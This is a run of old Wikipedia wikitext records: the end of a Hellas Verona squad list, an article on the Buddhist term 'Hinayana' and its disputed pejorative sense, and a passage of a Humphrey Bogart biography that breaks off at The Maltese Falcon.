{{Fs player|no=4|name=[[Alessandro Mazzola (Hellas Verona footballer)|Alessandro Mazzola]]|pos=MF|nat=Italy|other=captain}}
{{Fs player|no=5|name=[[Alberto Comazzi]]|pos=DF|nat=Italy}}
{{Fs player|no=6|name=[[Craig Davies]]|pos=FW|nat=Wales}}
{{Fs player|no=7|name=[[Gianni Munari]]|pos=MF|nat=Italy}}
{{Fs player|no=8|name=[[Vincenzo Italiano]]|pos=MF|nat=Italy}}
{{Fs player|no=9|name=[[Salvatore Aurelio]]|pos=FW|nat=Italy}}
{{Fs player|no=10|name=[[Adaílton]]|pos=FW|nat=Brazil}}
{{Fs player|no=11|name=[[Tiberio Guarente]]|pos=MF|nat=Italy}}
{{Fs player|no=13|name=[[Jess Vanstrattan]]|pos=GK|nat=Australia}}
{{Fs player|no=14|name=[[Julien Rantier]]|pos=FW|nat=France}}
{{Fs mid}}
{{Fs player|no=15|name=[[Simone Bonomi]]|pos=DF|nat=Italy}}
{{Fs player|no=17|name=[[Carlo Gervasoni]]|pos=DF|nat=Italy}}
{{Fs player|no=18|name=[[Aniello Cutolo]]|pos=FW|nat=Italy|other=on loan from [[A.C. Arezzo|Arezzo]]}}
{{Fs player|no=21|name=[[Nicola Iachemet]]|pos=MF|nat=Italy}}
{{Fs player|no=22|name=[[Antimo Iunco]]|pos=FW|nat=Italy}}
{{Fs player|no=23|name=[[Carlo Teodorani]]|pos=DF|nat=Italy}}
{{Fs player|no=24|name=[[Marco Turati]]|pos=DF|nat=Italy}}
{{Fs player|no=26|name=[[Marco Mancinelli]]|pos=MF|nat=Italy}}
{{Fs player|no=29|nat=Brazil|name=[[Gladstone Pereira della Valentina|Gladstone]]|pos=DF|other=on loan from [[Juventus F.C.|Juventus]]}}
{{Fs player|no=46|name=[[Enrico Rossi]]|pos=GK|nat=Italy|other=on loan from [[S.S.C. Venezia|Venezia]]}}
{{Fs player|no=77|name=[[Nico Pulzetti]]|pos=MF|nat=Italy}}
{{Fs player|no=99|name=[[Ferdinando Sforzini]]|pos=FW|nat=Italy}}
{{Fs end}}

== Further reading ==
*''[[A Season with Verona]]: Travels Around Italy in Search of Illusion, National Character, and...Goals!'' by [[Tim Parks]] 

==External links==
*[http://www.hellasverona.it/ Official website]
*[http://www.hellastory.net/index.cfm Hellastory.net] With a complete database, daily updates, thoughtful editorials, and guestbook. In Italian only, but &quot;required surfing&quot; for all football fans.
*[http://www.hellastory.net/popups/news_box.cfm?larghezza=500px/ Latest news] From Hellastory.net (in [[Italian language|Italian]]).

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    <title>Hinayana</title>
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'''Hinayana''' ([[Sanskrit]]: &quot;inferior vehicle&quot;; [[Chinese language|Chinese]]: 小乘 ''Xiǎoshèng''; [[Japanese language|Japanese]]: ''Shōjō''; [[Vietnamese language|Vietnamese]]: ''Tiểu thừa'') is a term coined by the [[Mahayana]], which appeared publicly around the 1st century CE. There are differing views on the use and meaning of the term, both among scholars and  within Buddhism. The meaning of 'vehicle' here is probably best understood as a 'movement', rather than some sort of school or tradition.

==In brief==
Hinayana is used as a name to refer variously (to one or more of ''doctrines'', ''traditions'', ''practitioners'' or ''thoughts'' that are) generally concerned with the achievement of [[Nirvana]] as a [[Sravaka-Buddha]] or a [[Pratyeka-Buddha]], as opposed to the achievement of liberation as a Samyaksam-Buddha. For those that view the term as being relevant to ''traditions'', some hold the view that Hinayana is cognate with solely the [[Early Buddhist Schools]], while others hold the view that Hinayana is ''also'' cognate with the modern [[Theravada]] tradition. Moreover, many hold that the term was coined to be purposely pejorative, while others do not.

*Hinayana as ''doctrine'' would include the [[Sutras]] taught by [[Buddha]] that admonish the practitioner to achieve Sravaka-Buddhahood or Pratyeka-Buddhahood.

*Hinayana as ''ancient tradition'' would include those schools who solely followed such sutras, some of whom actively rejected the Mahayana sutras during the time of the rise of the Mahayana, around 2,000 years ago, cognate with most of the [[Early Buddhist Schools]].

*Hinayana as a ''tradition'' in general would include those schools who solely follow the sutras above. This would be cognate with what is also known as  [[Nikaya Buddhism]].

*Hinayana as ''practitioner'' would be an individual of any school (including Mahayana) whose goal is that of a Sravaka-Buddha or a Pratyeka-Buddha.

*Hinayana as ''thought'' similarly would be a thought of any practitioner that  leads to the goal of a Sravaka-Buddha or a Pratyeka-Buddha, but not to Samyaksam-Buddha.

From the outside the distinctions between these differing definitions would appear to be minimal, even trivial.  However within Buddhism the differing interpretations of ''Hinayana'' have consequences that are sometimes quite far-reaching. It is primarily the interpretation of Hinayana as a tradition that has led to the most concern, especially as many people have seen the term as a slur against the schools of [[Nikaya Buddhism]]–schools that solely follow the sutras given by Buddha that admonish the practitioner to achieve Sravaka-Buddhahood.

==Three types of Buddha==
Buddhists (both Nikaya and Mahayana traditions) accept that there are [[Three Buddhas|three types of Buddha]], and generally accept their definitions as follows:

*[[Samyaksam-Buddha]]s (Pali: Sammasambuddha): (also known in the Mahayana as Bodhisattva-Buddhas) gain Nirvana by their own efforts, without a teacher of the entire path. They may then lead others to [[bodhi|Enlightenment]] by teaching the Dharma in a time or world where it has been forgotten or has not been taught before, because a Samyaksam-Buddha does not depend upon a tradition that stretches back to a previous Samyaksam-Buddha, but instead discovers the path anew.

*[[Pratyeka-Buddha]]s (Pali: Paccekabuddha): are similar to Samyaksam-Buddha, in that they attain Nirvana by themselves, but they remain silent and keep the discovered Dharma to themselves.

*[[Sravaka-Buddha]]s (Pali: Savakabuddhas): gain Nirvana, but attain [[bodhi|Enlightenment]] by hearing the Dharma as initially taught by a Samyaksam-Buddha. After attaining enlightenment, Sravaka-Buddhas might also lead others to enlightenment, but cannot teach the Dharma in a time or world where it has been forgotten or has not been taught before, because they depend upon a tradition that stretches back to a Sammasambuddha.

==Origins of ''Hinayana'': Vehicles and Paths==
It appears that the distinction between vehicles and paths arises in early Mahayana sutras, such as the ''Lotus Sutra'', where it is stated that there is one ''path'' - the path to [[Nirvana]] -, but there are different ''vehicles''. In this sense, the vehicles are described as representing the fruit of three types of Buddha found in Nikaya sutras, as mentioned above. For instance, in Chapter three of the ''Lotus Sutra'', there is a parable of a father promising three carts to lure sons out of a burning building, where the goat-cart represents Sravaka-Buddhahood; the deer-cart, Pratyeka-Buddhahood; and the bullock-cart, Samyaksam-Buddhahood.

The Lotus Sutra (Ch.3) declares: &quot;''Though he (the [[Buddha]]) has power and fearlessness, he does not use them, but only by his wise tact does he remove and save all living creatures from the burning house of the triple world (a Buddhist term for [[Samsara]]), teaching the three vehicles: the sravaka-buddha, pratyeka-buddha, and samyaksam-buddha vehicles.''&quot;

This quote tells us something more about early Mahayana views: That it is the ''vehicles'' that are taught as a method for journeying on the path to [[bodhi|enlightenment]]. It is here that we can see the basis for term being used to indicate differences of doctrine.

The Lotus Sutra (Ch.3) continues: &quot;''Know this! All these three vehicles are praised by sages; [in them you will be] free and independent, without wanting to rely on anything else. [...]''

''If there are beings who [...] desire speedily to escape from the triple world and seek nirvana for themselves, these will have the vehicle named the 'sravakayana', just as some of those children come out of the house for the sake of a goat-cart.''

''If there are beings who [...] seek self-gained wisdom, delighting in the tranquility of their individual goodness, these will have the vehicle named the 'pratyekayana', just as some of those children come out of the house for the sake of a deer-cart.''

''If there are beings who [...] seek the wisdom without a teacher, who take pity on and comfort innumerable creatures, benefiting gods and men, and save all beings, these will have the vehicle named the 'mahayana', just as some of those children come out of the house for the sake of a bullock-cart.&quot;''

The Sutra then continues, declaring that the bullock-cart is &quot;supremely restful&quot;, implying that the goat-cart and the deer-cart are inferior to the bullock-cart. This is where we begin to see the terminological origins for the term ''Hinayana'': The Sravakayana and the Pratyekayana as vehicles inferior to the superior bullock-cart of the ''Mahayana''.

The Lotus Sutra therefore makes the distinction between the vehicles according to the type of Buddha that arises, and all Buddhists agree that a Samyaksam-Buddha is superior to a Sravaka-Buddha or a Pratyeka-Buddha, at least on the basis that only a Samyaksam-Buddha can teach the Dharma where (or when) it has not been taught before.

==''Hinayana'' as a pejorative==
There remains an open and active debate regarding the issue of whether ''Hinayana'' was coined to be pejorative or merely classificatory. Those who assert the idea tend to be among those who subscribe the idea of an early [[Mahayana]] schism, and who believe that there was a strong history of polemics between the early Mahayana and other early Buddhist schools. Those who assert that the term was coined in a merely classificatory manner, generally consider the pejorative accusation to be a [[Fundamental attribution error]].

The arguments for the term as being pejorative largely depends upon the etymological roots of the prefix 'Hina':
Hina- is defined as such: &quot;inferior, less, low, base, mean, incomplete, deficient, wanting and so on.&quot;

Most agree that the usage of 'hina-' as a prefix represents those &quot;inferior&quot;, -inferior because they do not lead to the attainment of Samyaksam Buddhahood; so, the hinayana vehicles are those vehicles that lead to Sravaka Buddhahood or Pratyeka Buddhahood.

The difference of opinion is whether or not the term was chosen because of the other meanings attributed to it - apparently suggesting a nuance to the otherwise categorative term.

Another argument for criticism of the Hinayana by the early Mahayana is a citation from the Lotus Sutra, where a large number of Bikkhus are said to have walked out of the discourse. We are told early on in the Sutra that there are more than 20,000 Bikshus and Bikhunis present (as well as many thousands of Bodhisattvas). Very early on 5,000 'haughty' Bikshus get up and leave. This shocking behaviour certainly represents something - but it cannot represent the Hinayana tradition, as the majority of Bikshus remain; what it probably represents were a minority of followers of Nikaya schools who were attempting to defame and denigrate the early Mahayana. It appears that there were many Nikaya practitioners who did not wish to criticise or denigrate the new Mahayana movement, indicated by the majority of Bikshus who remained throughout the discourse.

It is hard to come to a conclusion on the issue of pejorativeness. We can find Mahayana Sutras and traditions which repeatedly admonish the trainee Bodhisattva not to criticise any of the Buddhist schools. The mere fact that there is such a strong admonishment against criticising the Hinayana indicates a degree of defensiveness on behalf of the Mahayana regarding this issue.

Lotus Sutra (Ch.14):

:''A bodhisattva [...] does not hold other Buddhists in contempt, not even those who follow the Hinayana path, nor does he cause them to have doubts or regrets by criticizing their way of practice or making discouraging remarks.''

By the 3rd Century CE, in the ethics chapter of Asanga's Bodhisattvabhumi, we find an explicit injunction not to criticise or reject the Hinayana texts or traditions, where Trainee Bodhisattvas are instructed not to &quot;disparage the Hinayana, or over-encourage others to learn Mahayana&quot;.

Candragomin wrote a very influential twenty verse summary of Asanga's Ethics, written or summarised as a set of vows to be taken by a trainee Bodhisattve. The 15th Verse (derived from Asanga's chapter on ethics) cites &quot;rejecting the Sravakayana&quot; as a root downfall. Candragomin's vows were adopted by the Indo-Tibetan Mahayana tradition via [[Atisha]], and are still used today by the [[Gelugpa]] and [[Kagyupa]] schools.

The 18,000 verse perfection of wisdom sutra (an early Madhyamaka Mahayana sutra) states:

''Bodhisattvas should practice all paths - whatever is a path of a sravaka, a pratyeka or a Buddha - and should know all paths.''

in the opening verses of the Vimalakirti Sutra:

''Reverence to all Buddhas, Bodhisattvas, Aryasravakas, and Pratyekabuddhas, in the past, the present, and the future'' and

''[...] Of bhikshus there were eight thousand, all arhats. They were free from impurities and afflictions, and all had attained self-mastery. Their minds were entirely liberated by perfect knowledge [...]''

So, certainly in the early centuries CE, the Mahayana tradition was doing its best not to criticise or condemn the Hinayana vehicles.

==Hinayana and Theravada==
Concerning the distinctions between Hinayana and Theravada, Dr. Rahula, a prominent buddhist teacher, says the following:

&quot;''Between the 1st Century B.C. to the 1st Century A.D., the two terms Mahayana and Hinayana appeared in the Saddharma Pundarika Sutra or the Sutra of the Lotus of the Good Law.''

''About the 2nd Century A.D. Mahayana became clearly defined. Nagarjuna developed the Mahayana philosophy of Sunyata and proved that everything is Void in a small text called Madhyamika-karika. About the 4th Century, there were Asanga and Vasubandhu who wrote enormous amount of works on Mahayana. After the 1st Century AD., the Mahayanists took a definite stand and only then the terms of Mahayana and Hinayana were introduced.''

''We must not confuse Hinayana with Theravada because the terms are not synonymous. Theravada Buddhism went to Sri Lanka during the 3rd Century B.C. when there was no Mahayana at all. Hinayana sects developed in India and had an existence independent from the form of Buddhism existing in Sri Lanka. Today there is no Hinayana sect in existence anywhere in the world. Therefore, in 1950 the World Fellowship of Buddhists inaugurated in Colombo unanimously decided that the term Hinayana should be dropped when referring to Buddhism existing today in Sri Lanka, Thailand, Burma, Cambodia, Laos, etc. This is the brief history of Theravada, Mahayana and Hinayana.''&quot;  -Dr. Rahula, ''Gems of Buddhist Wisdom''

==Etymology==
The Monier-Williams Sanskrit-English Dictionary (Oxford, 1899), gives a translation of 'Hinayana' as: 
''Proper Noun: &quot;simpler or lesser vehicle. Name of the earliest system of Buddhist doctrine (opposite to [[Mahayana]]; see [[Yana]]).&quot; and 
'hīna' is defined in the same dictionary as follows:
:hīná mfn. left, abandoned, forsaken RV.
*left behind, excluded or shut out from, lower or weaker than, inferior to (abl.) Mn. MBh. &amp;c. [Page 1296, Column 3] 
*left out, wanting, omitted MBh. 
*defeated or worsted (in a lawsuit) Yājñ. 
*deficient, defective, faulty, insufficient, short, incomplete, poor, little, low, vile, bad, base, mean ŚBr. &amp;c. &amp;c 
*bereft or deprived of, free from, devoid or destitute of, without (instr., abl., loc., acc., or comp 
*prâṇair hīnaḥ, 'bereft of breath or life' 
*mantrād or mantrato h○, 'devoid of sacred knowledge') MuṇḍUp. KātyŚr. Mn. MBh. &amp;c 
*lost or strayed from (a caravan) Pāṇ. i, 4, 23 Kāś. 
*brought low, broken down in circumstances ŚrS. 
*m. a faulty or defective witness (of five kinds, viz. anya-vādin, kriyā-dveṣin, nôpasthāyin, nir-uttara, āhūsa-prapalâyin) Yājñ. Sch. 
*subtraction (= = vyavakalana) MW. 
*Mesua Ferrea L. 
*(ā), f. a female mouse (wṛ. for dīna) L. 
*(am), n. deficiency, want, absence (velā-hīne 'before the right time', unseasonably') VarBṛS. Yājñ.''

According to Pali Text Society Dictionary, the word 'hina' is defined:

Hina:
1. inferior, low; poor, miserable; vile, base, abject, contemptible, despicable
2. deprived of, wanting, lacking

An argument used by those who consider Hinayana to be pejorative is based on the fact that if the term was to mean 'Small or Lesser vehicle', then the term chosen would have been, &quot;Culla&quot; or in Sanskrit &quot;Ksulla=ksudra&quot; giving us Ksudrayana - though 'ksudra' has also had a history of being used in a somewhat pejorative manner.

==See also==
*[[Early Buddhist Schools]]
*[[Nikaya Buddhism]]
*[[Mahayana]]
*[[Yana (Buddhism)|Yana]]
*[[Theravada]]

==Bibliography==
*  [[Romila Thapar]], ''Early India from the Origins to AD 1300''  Penguin, 2001
*  [[Tsongkhapa]], ''The great treatise on the stages of the path to enlightenment'', Snowlion, 2000
* Paul Williams, ''Mahayana Buddhism'', Routledge, 1989
* Andrew Skilton, ''Concise history of Buddhism''. Windhorse, 1999
* Donald Lopez, &quot;The H Word&quot;, ''Tricycle: The Buddhist Review'', Fall 1995, pp84-85
* R. S. Cohen, &quot;Discontented Categories: Hinayana and Mahayana in Indian History&quot;, ''Journal of the American Academy of Religion'', 63(1):1-25, 1995
* Ryukan Kimura, ''A Historical Study of the Terms Hinayana and Mahayana and the Origin of Mahayana Buddhism'', Indological Book Corp., 1978

==External links==
* [http://www.urbandharma.org/udharma3/theramaya.html &quot;Theravada - Mahayana Buddhism&quot;] Dr. W. Rahula's article
* [http://www.saigon.com/~anson/ebud/ebdha140.htm &quot;The myth of Hinayana&quot;] discusses the origins of the term Hinayana and why it should be avoided

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    <title>Humphrey Bogart</title>
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      <text xml:space="preserve">{{Infobox_Biography
|subject_name=Humphrey Bogart
|image_name=Humphrey Bogart by Karsh (Library and Archives Canada).jpg
|image_caption=Photographed in 1946 by [[Yousuf Karsh]]
|date_of_birth=[[December 25]], [[1899]]
|place_of_birth=[[New York, New York|New York]], [[New York]], [[USA]]
|dead=dead
|date_of_death=[[January 14]], [[1957]]
|place_of_death=[[Los Angeles]], [[California]], [[USA]]
}}
'''Humphrey DeForest Bogart''' ([[December 25]], [[1899]] &amp;ndash; [[January 14]], [[1957]]) was an iconic [[United States|American]] [[actor]] who retains legendary status decades after his death.  In [[1999]], the [[American Film Institute]] named Bogart the [[AFI's 100 Years... 100 Stars|Greatest Male Star of All Time]].

==Overview==
Bogart typically played smart, playful, courageous, tough, occasionally reckless characters, living in a corrupt world, yet anchored by an inner moral code. He was also able to play characters with flaws and weaknesses that led to their destruction.  His most notable films include ''[[We're No Angels]]'' ([[1955 in film|1955]]) ''[[Angels With Dirty Faces]]'' ([[1938 in film|1938]]), ''[[The Maltese Falcon]]'' ([[1941 in film|1941]]), ''[[Casablanca (film)|Casablanca]]'' ([[1942 in film|1942]]),
''[[To Have and Have Not (film)|To Have and Have Not]]'' ([[1944 in film|1944]]), ''[[The Big Sleep (1946 film)|The Big Sleep]]'' ([[1946 in film|1946]]), ''[[The Treasure of the Sierra Madre]]'' ([[1948 in film|1948]]), ''[[Key Largo (film)|Key Largo]]'' ([[1948 in film|1948]]), ''[[In a Lonely Place]]'' ([[1950 in film|1950]]), ''[[The African Queen]]'' ([[1951 in film|1951]]) (for which he won an [[Academy Award]] for [[Academy Award for Best Actor|Best Actor in a Leading Role]]), and ''[[The Caine Mutiny]]'' ([[1954 in film|1954]]). In all, he appeared in 75 feature motion pictures.

Even outside of America, Bogart is seen as a cult figure. [[France|French]] actors such as [[Jean-Paul Belmondo]] were deeply influenced by his work and image. In ''À bout de souffle'' (known in English as ''[[Breathless]]''), perhaps the best-known work of French director [[Jean-Luc Godard]], the protagonist Michel worships the persona of Humphrey Bogart and mimes some of Bogart&amp;rsquo;s best-known gestures in a way that is both absurd and touching. [[François Truffaut]], another French director of the &amp;ldquo;[[French New Wave|New Wave]],&amp;rdquo; directed ''[[Shoot the Piano Player]]'', another homage to Bogart.
[[India]]&amp;rsquo;s great national [[movie star]] [[Ashok Kumar (actor)|Ashok Kumar]] listed Bogart as a major influence on his &amp;ldquo;natural&amp;rdquo; acting style. When Bogart reached [[Kinshasa|Leopoldville]] to film the movie ''The African Queen'', his plane was met by the [[United States|U.S.]] consul and the [[History of the Democratic Republic of the Congo|Congolese]] press.

Bogart is no less an icon in the country of his birth. One of [[Woody Allen]]&amp;rsquo;s most popular comic movies, ''Play It Again, Sam'', is about a young man in love with Bogart&amp;rsquo;s aura and intimidated by it. The title refers to a frequent misquote from ''Casablanca''; Ilsa ([[Ingrid Bergman]]'s character) actually says &amp;ldquo;Play it, Sam.&amp;rdquo; In [[1997]], the [[United States Postal Service]] featured Bogart in its &amp;ldquo;Legends of Hollywood&amp;rdquo; series. And ''Entertainment Weekly'' magazine has named Bogart the number one movie legend of all time.

Bogart&amp;rsquo;s exalted standing in the [[Hollywood, California|Hollywood]] pantheon would have astonished most of the agents, casting directors and [[movie studio|studio]] bosses who knew him in the [[1920s]] and [[1930s]] as a good but hardly great [[Broadway theatre|Broadway]] [[theater|stage]] actor and [[B-movie]] player in Hollywood.

==Birth and early life==
He was born Humphrey DeForest Bogart in [[New York City]], the oldest child of Belmont DeForest Bogart and Maud Humphrey, both of whom were of [[Dutch people|Dutch]] and [[English people|English]] descent.

It was long believed that his birthday on Christmas Day was a [[Warner Bros.]] fiction created to romanticise his background, and that he was really born on [[January 23]] [[1899]], a date that appears in many references.  However, this story is now considered baseless: although no birth certificate has ever been found, his birth notice did appear in a Boston newspaper in early January 1900, which supports the December 1899 date. In addition, the 1900 census for the household of Belmont Bogart lists his son Humphrey as having a birthdate in December of 1899. [[Lauren Bacall]] always maintained this was his true birth date.

===Childhood===
Bogart's father was a successful surgeon. His mother, [[Maud Humphrey]], was a very successful commercial illustrator. Indeed, she used a drawing of baby Humphrey in a well-known ad campaign for [[Mellins Baby Food]]. In her prime, she made over $50,000 a year as an illustrator, then a vast sum. The Bogarts lived in a fashionable [[Upper West Side]] apartment, and had a cottage in upstate New York.

Maud Humphrey was a distant woman and the Bogarts' marriage was troubled.  Both parents were [[alcoholic]]s and/or [[morphine]] addicts at various times.  Maud also suffered intense [[migraine]] headaches. &quot;I can't say I ever loved my mother,&quot; Bogart once said. &quot;I admired her.&quot;  He was raised mostly by an Irish nurse. &quot;My parents fought,&quot; he said another time. &quot;We kids would pull the covers over our ears to keep out the sound of fighting. Our home was kept together for the sake of the children as well as for the sake of propriety.&quot;

From his father, Bogart inherited a tendency for needling people, and a love of fishing and especially sailing. Humphrey was the oldest child of three. Both of Bogart's younger sisters were troubled adults; Kay (&quot;Catty&quot;) died at 34 of [[peritonitis]] complicated by [[alcoholism]]. Frances &quot;Pat&quot; Bogart Rose was tall, shy and sweet, but mentally unstable. Bogart was gentle with her and paid for her care.  Other relatives were few and rarely saw the Bogarts. (When Bogart fell in love with [[Lauren Bacall]] and she introduced him to her large extended family, he said &quot;Christ, you've got more goddamn relatives than I've ever seen.&quot;)

As a boy, Bogart was teased for his curls, his tidiness, for the &quot;cute&quot; pictures his mother posed him for, the [[Little Lord Fauntleroy]] clothes she dressed him in&amp;#8212;and for the name &quot;Humphrey.&quot; He was also teased for his lisp; although  it has been claimed that he obtained this in the [[navy]] when a prisoner hit him in the face with handcuffs, in fact it derived from a childhood accident, in which Bogart got a splinter of wood embedded in his lower lip. &quot;Goddamn doctor,&quot; Bogart later told [[David Niven]], &quot;instead of stitching it up, he screwed it up.&quot; 

===School===

The Bogarts sent their son to the [[Trinity School (New York)|Trinity School]] in New York and then to the prestigious prep school [[Phillips Academy]], in [[Andover, Massachusetts]]. They hoped he would go on to [[Yale University|Yale]], but in [[1918]], Bogart was expelled from Phillips Academy. The details of his expulsion are disputed. One story says that he was expelled for throwing the headmaster into Rabbit Pond, a man-made lake located behind the Andover Inn, while others say that he was expelled for smoking and drinking. His study habits were erratic and his grades low, and he may have hastened his departure by some intemperate comments to those in authority. He had a lifelong dislike of authority figures.

==Early career==
Bogart did menial labor, joined the [[United States Naval Reserve|Naval Reserve]], and eventually drifted into acting. He liked the late hours that actors kept, and enjoyed the attention that an actor got on stage. Most of all, he enjoyed the challenge of putting on a difficult scene, making the audience believe it. He dug deeply into the characters he portrayed, and found them a welcome escape from his own self.

===Early theatre work===

Bogart began his acting career on the [[Brooklyn]] stage in [[1921]], playing a [[Japan|Japanese]] butler. He never took acting lessons, and had no formal training. An early reviewer wrote of Bogart's work: &quot;To be as kind as possible, we will only say that this actor was inadequate.&quot; Bogart loathed the trivial roles he had to play early in his career, calling them &quot;White Pants Willie&quot; roles.

Bogart appeared in 21 [[Broadway theatre|Broadway]] productions between [[1922]] and [[1935]]. He played callow juveniles, or the romantic second lead in drawing room comedies. The legend persists that he was the first actor to say &quot;Tennis, anyone?&quot; on stage.

Early in his career, Bogart met his first wife, [[Helen Menken]]. They married in [[1926]], divorced in [[1927]], and remained friends. In [[1928]], he married his second wife, [[Mary Philips]]. Philips, like Menken, had a fiery temper, once biting the finger of a cop who tried to arrest her for drunkenness.

[[Spencer Tracy]] was a serious Broadway actor whom Bogart liked and admired, and they became good friends. It was Spencer Tracy, in [[1930]], who first called Bogart &quot;Bogie.&quot; The name stuck.

===''The Petrified Forest''===

In [[1934]], Bogart starred in the [[stage play|play]] ''Invitation to a Murder''. The producer [[Arthur Hopkins]] saw the play and sent for Bogart when he chose to produce [[Robert E. Sherwood]]'s new play, ''The Petrified Forest''. Bogart arrived in Hopkins' office while Sherwood was there; Hopkins told him: &quot;I've got a good role for you. A gangster role.&quot; Robert Sherwood was sure Hopkins was wrong; Bogart should play the football player. Bogart said later: &quot;They argued back and forth, and I thought Sherwood was right. I couldn't picture myself playing a gangster. So what happened? I made a hit as the gangster.&quot;

''The Petrified Forest'' had 197 performances in New York; Bogart played escaped killer Duke Mantee. [[Leslie Howard]], who played the lead, knew how crucial Bogart was to the success of the play. He and Bogart became friends, and he promised to help Bogart reprise his role if Hollywood made the play into a movie.

Bogart was proud of his success as an actor, but the fact that it came from playing a gangster weighed on him. He once said, &quot;I can't get in a mild discussion without turning it into an argument. There must be something in my tone of voice, or this arrogant face&amp;#8212;something that antagonizes everybody. Nobody likes me on sight. I suppose that's why I'm cast as the heavy.&quot;

[[Warner Bros.]] bought the screen rights to ''The Petrified Forest'', signed up Leslie Howard, then tested several Hollywood veterans for the Duke Mantee role, and chose [[Edward G. Robinson]]. Bogart cabled news of this to Howard, who was in [[Scotland]]. Leslie Howard insisted that Bogart play Duke Mantee. When Warner Bros. saw that Leslie Howard would not budge, they hired Bogart to play Mantee. Bogart never forgot this, and named his only daughter Leslie.

===Early film career===

[[Robert E. Sherwood]] remained a close friend of Bogart's. In [[1936 in film|1936]], the movie version of ''The Petrified Forest'' came out. Bogart got excellent reviews. Still, he was now stuck in a series of crime dramas for Warner Bros. and cast as a heavy, with little acting range. All told, in his career as a tough guy, Bogart went to the electric chair 12 times, and got over 800 years of hard labor. [[Jack Warner]] saw nothing wrong with that; as long as the movies made money, and the actors got paid, he saw no reason for anyone to complain.

Mary Philips refused to give up her Broadway career to come to Hollywood with Bogart, and soon they were divorced.

On [[August 21]], [[1938]], Bogart made a disastrous third marriage, which only heightened his frustration. His third wife was [[Mayo Methot]], a lively, friendly woman when sober, but a paranoid drunk. She was convinced that her husband was cheating on her. The more she and Bogart drifted apart, the more she drank and the more she got furious and threw things at him: plants, crockery, anything close at hand. Bogart sometimes returned fire, and the press dubbed them &quot;the Battling Bogarts.&quot; &quot;The Bogart-Methot marriage was the sequel to the [[American Civil War|Civil War]],&quot; said their friend [[Julius Epstein]]. Another wag observed that there was madness in his Methot. During his marriage to Mayo Methot, Bogart bought a sailboat, which he lightheartedly named Sluggy after his hot-tempered wife. 

In [[1938 in film|1938]], Warner Bros. made Bogart do a &quot;[[hillbilly]] musical&quot; called ''Swing Your Lady'', playing a wrestling promoter managing the career of an idiotic giant. In [[1939 in film|1939]], Bogart reached a new low when he had to play a mad scientist in ''The Return of Doctor X''. Bogart cracked: &quot;If it'd been Jack Warner's blood&amp;hellip;I wouldn't have minded so much. The trouble was they were drinking mine and I was making this stinking movie.&quot;

The studio system, then in its heyday, largely restricted actors to one studio, and Warner Bros. had no interest in making Bogart a star. The system was made for quantity, not quality. Shooting on a new movie might begin days or only hours after shooting on the last movie was complete. Any actor who refused a role could be suspended without pay. Bogart didn't like the roles chosen for him, but he worked steadily: between [[1936 in film|1936]] and [[1940 in film|1940]], Bogart averaged a new movie every two months. He thought that Warner Bros. were cheap in their wardrobe department, and often wore his own personal suits in his movies. On the movie ''High Sierra'', Bogart used his own mutt to play his character's dog &quot;Pard.&quot;

The leading men ahead of Bogart included not just such classic stars as [[James Cagney]], Spencer Tracy and Edward G. Robinson&amp;#8212;but also actors far less well-known today, such as [[Victor McLaglen]], [[George Raft]] and [[Paul Muni]]. Most of the better movie scripts Warner Bros. bought went to these men. Bogart had to take what was left. He made movies with names like ''Racket Busters'', ''San Quentin'', and ''You Can't Get Away With Murder''. The only substantial roles he ever got during this period were in [[Samuel Goldwyn]]'s ''[[Dead End]]'' (1937) and ''Angels with Dirty Faces'' (1938) (another picture in which he gets shot by James Cagney). Bogart rarely saw his own movies and didn't even attend the premieres, which were an expected part of the actor's job.

Bogart had been raised to believe that acting was something beneath a gentleman. Acting in movies was even worse than on the stage, and playing depraved gunmen in &quot;B&quot; pictures for Warner Bros. was not something to be mentioned in polite company.

In California, in the [[1930s]], Bogart bought a 55-foot sailing yacht from [[Dick Powell]]. The sea was his sanctuary. He was a serious sailor, respected by other sailors who had seen too many Hollywood actors and their boats. About 30 weekends a year, he went out on his boat. He once said: &quot;An actor needs something to stabilize his personality, something to nail down what he really is, not what he is currently pretending to be.&quot;

He had a lifelong disgust for the pretentious, fake or phony. Sensitive yet caustic, and disgusted by the inferior movies he was churning out, Bogart cultivated the persona of a soured idealist, a man exiled from better things in New York, living by his wits, drinking too much, cursed to live out his life among second-rate people and projects. When he thought an actor, director or a movie studio had done something shoddy, he spoke up about it, and was willing to be quoted on the record. The Hollywood press, unaccustomed to candor, was delighted. Bogart once said, &quot;All over Hollywood, they are continually advising me 'Oh, you mustn't say that. That will get you in a lot of trouble' when I remark that some picture or writer or director or producer is no good. I don't get it. If he isn't any good, why can't you say so? If more people would mention it, pretty soon it might start having some effect.&quot;

==Rise to stardom==
===''High Sierra''===
''[[High Sierra]]'', a [[1941 in film|1941]] [[Raoul Walsh]] movie, was written by Bogart's friend and drinking partner, [[John Huston]]. The movie was a step forward for Bogart. He still played the villain, &quot;Mad Dog&quot; Roy Earle.  He still died at the end; but at least he got to kiss [[Ida Lupino]], and to play a character with some depth. In a climactic scene, Bogart's character slid 90 feet down a mountainside to his punishment. His stunt double, [[Buster Wiles]], bounced a few times going down the mountain and wanted another take to do better. &quot;Forget it,&quot; said Raoul Walsh. &quot;It's good enough for the 25-cent customers.&quot;

Bogart and Huston enjoyed each other, and drew on each other's gifts. Bogart had always been self-conscious about being a small man (5'8&quot; tall); Huston was six-two (and his rail-thin build made him appear to be even taller). Bogart had never been close to his father; Huston was very close to his father, the actor [[Walter Huston]].

Bogart admired and somewhat envied Huston because Huston got to write scripts, to shape a story and make sure it had heft. Though a poor student, Bogart was a lifelong reader. He could quote [[Plato]], [[Alexander Pope|Pope]], [[Ralph Waldo Emerson]] and over a thousand lines of [[William Shakespeare|Shakespeare]]. He admired writers, and some of his best friends were screenwriters, including [[Louis Bromfield]], [[Nathaniel Benchley]] and [[Nunnally Johnson]].

John Huston reported being easily bored, and admired Bogart not just for his acting talent but for his intense concentration.  It was Huston who would later give Bogart one of his best roles - the psychotic Fred C. Dobbs in the 1948 classic, ''[[The Treasure of the Sierra Madre]]''.

===''The Maltese Falcon''===
James Cagney and George Raft had both turned down Bogart's part in ''High Sierra''; Raft didn't want to play a character who died at the end. Then [[George Raft]] turned down the male lead in John Huston's directorial debut, ''The Maltese Falcon'', also [[1941 in film|1941]].

Bogart grabbed the part and audiences saw him play a leading role with real complexity. His character, Sam Spade, was still capable of duplicity and violence, but he was a leading man: handsome, smart, fated to survive. When he discovered his sexy client was a murderess, he turned her in, with a speech he made famous: &quot;I don't care who loves you. I won't play the sap for you! You killed Miles and you're going over for it. I hope they don't hang you by your sweet neck. If you're a good girl, you'll be out in 20 years and you'll come back to me. If they hang you, I'll always remember you.&quot;

